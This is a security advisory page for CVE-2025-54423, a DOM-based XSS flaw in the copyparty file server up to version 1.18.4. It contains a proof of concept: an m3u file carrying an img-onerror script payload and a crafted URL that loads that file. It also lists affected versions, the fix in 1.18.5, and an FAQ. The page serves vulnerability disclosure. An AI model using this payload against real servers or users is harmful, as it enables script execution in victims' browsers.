CVE-2025-54423: copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata

Published Jul 28, 2025
·
Updated

Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.

Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

a user which has the necessary permission for uploading files can upload a song with an artist-name such as <img src=x onerror=alert(document.domain)> an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

PoC 1. Create a file named song.m3u with the following content. Host this file on an attacker-controlled web server.

m3u #EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3

2. Craft and share the malicious URL:

http://127.0.0.1:3923/#m3u=https://example.com/song.m3u

Impact Any user that accesses this malicious URL is impacted.

Other sources

copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.

MITRE

Affected Software

3 affected componentsFixes available
copyparty copyparty<=1.18.4
pip/copyparty<=1.18.4
1.18.5
9001 Copyparty<1.18.5

Event History

Jul 28, 2025
Advisory Published
via GitHub·04:41 PM
Data Sourced
via GitHub·04:41 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·07:53 PM
Data Sourced
via MITRE·07:53 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:17 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54423?

The severity of CVE-2025-54423 is currently not classified, but it involves the ability for an unauthenticated attacker to execute arbitrary JavaScript code.

2

What types of files are affected by CVE-2025-54423?

CVE-2025-54423 affects multimedia tags in music files, specifically including m3u files.

3

How do I fix CVE-2025-54423?

To fix CVE-2025-54423, upgrade to Copyparty version 1.18.5 or later.

4

Is the vulnerability CVE-2025-54423 remote or local?

CVE-2025-54423 is a remote vulnerability that can be exploited by an unauthenticated attacker.

5

What software is impacted by CVE-2025-54423?

CVE-2025-54423 impacts Copyparty versions up to and including 1.18.4.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203